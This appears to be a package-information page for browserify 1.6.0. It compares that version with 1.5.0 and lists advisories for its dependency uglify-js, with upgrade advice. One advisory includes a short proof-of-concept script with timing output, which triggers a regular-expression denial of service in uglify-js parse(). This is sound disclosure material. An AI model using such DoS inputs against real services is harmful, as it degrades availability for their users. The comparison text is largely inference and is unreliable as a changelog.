Browserify version 1.6.0 represents a minor update over the 1.5.0 release, focusing on stability and incremental improvements. Both versions cater to developers seeking to utilize Node.js-style require() statements within browser environments, enabling modular JavaScript development even without a server-side component. Examining the metadata, the core dependencies remain consistent between the two versions, indicating a continued commitment to established tooling like nub, resolve, optimist, commondir, detective, and coffee-script. This suggests that the fundamental functionality of Browserify – the ability to bundle CommonJS modules for browser consumption – remains unchanged.
The key differentiation appears in the release dates: 1.6.0 was released roughly a month after 1.5.0, with 1.6.0 on October 13, 2011, and 1.5.0 on September 10, 2011. This timeframe typically suggests bug fixes, minor performance enhancements, or optimizations rather than substantial architectural changes. Given the identical dependency and devDependency lists, users migrating from 1.5.0 to 1.6.0 likely encountered a seamless transition. Developers leveraging Browserify for front-end module management would find either version suitable, however leveraging the newer version would incorporate any subsequent bug fixes and minor improvements. Developers of libraries and web apps using Browserify will likely find little to no breaking changes.
All the vulnerabilities related to the version 1.6.0 of the package
Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js
Versions of uglify-js prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
Upgrade UglifyJS to version >= 2.4.24.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.